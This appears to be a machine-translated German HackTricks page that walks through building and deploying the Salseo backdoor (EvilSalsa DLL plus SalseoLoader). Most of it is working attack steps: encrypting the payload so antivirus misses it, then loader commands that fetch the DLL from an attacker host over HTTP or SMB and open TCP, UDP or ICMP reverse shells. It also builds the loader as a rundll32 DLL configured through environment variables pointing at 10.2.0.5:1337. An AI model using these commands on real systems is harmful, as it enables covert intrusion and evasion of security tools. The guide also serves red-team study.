5.8 KiB
Salseo
{{#include ../banners/hacktricks-training.md}}
Kompilieren der Binaries
Lade den Quellcode von GitHub herunter und kompiliere EvilSalsa und SalseoLoader. Du benötigst Visual Studio, um den Code zu kompilieren.
Kompiliere diese Projekte für die Architektur des Windows-Systems, auf dem du sie verwenden möchtest (Wenn Windows x64 unterstützt, kompiliere sie für diese Architektur).
Du kannst die Architektur auswählen innerhalb von Visual Studio im linken "Build"-Tab unter "Platform Target".
(**Wenn du diese Optionen nicht findest, klicke auf "Project Tab" und dann auf "<Project Name> Properties")
Dann baue beide Projekte (Build -> Build Solution) (Im Protokoll wird der Pfad der ausführbaren Datei angezeigt):
Bereite das Backdoor vor
Zuerst musst du die EvilSalsa.dll kodieren. Dazu kannst du das Python-Skript encrypterassembly.py verwenden oder das Projekt EncrypterAssembly kompilieren:
Python
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
Windows
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
Ok, jetzt hast du alles, was du brauchst, um die Salseo-Sache auszuführen: die kodierte EvilDalsa.dll und das Binary von SalseoLoader.
Lade das SalseoLoader.exe-Binary auf die Maschine hoch. Sie sollten von keinem AV erkannt werden...
Führe das Backdoor aus
Erhalte eine TCP-Reverse-Shell (kodierte DLL über HTTP herunterladen)
Denke daran, eine nc als Reverse-Shell-Listener und einen HTTP-Server zu starten, um das kodierte evilsalsa bereitzustellen.
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
Einen UDP-Reverse-Shell erhalten (kodierte DLL über SMB herunterladen)
Denken Sie daran, ein nc als Reverse-Shell-Listener zu starten und einen SMB-Server, um das kodierte evilsalsa bereitzustellen (impacket-smbserver).
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
Einen ICMP Reverse Shell erhalten (kodierte DLL bereits im Opfer)
Diesmal benötigen Sie ein spezielles Tool auf dem Client, um den Reverse Shell zu empfangen. Laden Sie herunter: https://github.com/inquisb/icmpsh
ICMP-Antworten deaktivieren:
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
Führen Sie den Client aus:
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
Im Inneren des Opfers, lassen Sie uns das salseo-Ding ausführen:
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
Kompilieren von SalseoLoader als DLL, die die Hauptfunktion exportiert
Öffnen Sie das SalseoLoader-Projekt mit Visual Studio.
Fügen Sie vor der Hauptfunktion hinzu: [DllExport]
Installieren Sie DllExport für dieses Projekt
Tools --> NuGet-Paket-Manager --> NuGet-Pakete für die Lösung verwalten...
Suchen Sie nach dem DllExport-Paket (unter Verwendung des Tabs Durchsuchen) und drücken Sie Installieren (und akzeptieren Sie das Popup)
In Ihrem Projektordner sind die Dateien erschienen: DllExport.bat und DllExport_Configure.bat
Deinstallieren Sie DllExport
Drücken Sie Deinstallieren (ja, es ist seltsam, aber vertrauen Sie mir, es ist notwendig)
Beenden Sie Visual Studio und führen Sie DllExport_configure aus
Beenden Sie einfach Visual Studio
Gehen Sie dann zu Ihrem SalseoLoader-Ordner und führen Sie DllExport_Configure.bat aus
Wählen Sie x64 (wenn Sie es in einer x64-Umgebung verwenden möchten, war das mein Fall), wählen Sie System.Runtime.InteropServices (innerhalb Namespace für DllExport) und drücken Sie Übernehmen
Öffnen Sie das Projekt erneut mit Visual Studio
[DllExport] sollte nicht länger als Fehler markiert sein
Lösung erstellen
Wählen Sie Ausgabetyp = Klassenbibliothek (Projekt --> SalseoLoader-Eigenschaften --> Anwendung --> Ausgabetyp = Klassenbibliothek)
Wählen Sie die x64 Plattform (Projekt --> SalseoLoader-Eigenschaften --> Erstellen --> Plattformziel = x64)
Um die Lösung zu erstellen: Erstellen --> Lösung erstellen (Im Ausgabekonsolenfenster wird der Pfad der neuen DLL angezeigt)
Testen Sie die generierte DLL
Kopieren und fügen Sie die DLL dort ein, wo Sie sie testen möchten.
Führen Sie aus:
rundll32.exe SalseoLoader.dll,main
Wenn kein Fehler auftritt, haben Sie wahrscheinlich eine funktionale DLL!!
Holen Sie sich eine Shell mit der DLL
Vergessen Sie nicht, einen HTTP Server zu verwenden und einen nc Listener einzurichten.
Powershell
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
CMD
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
{{#include ../banners/hacktricks-training.md}}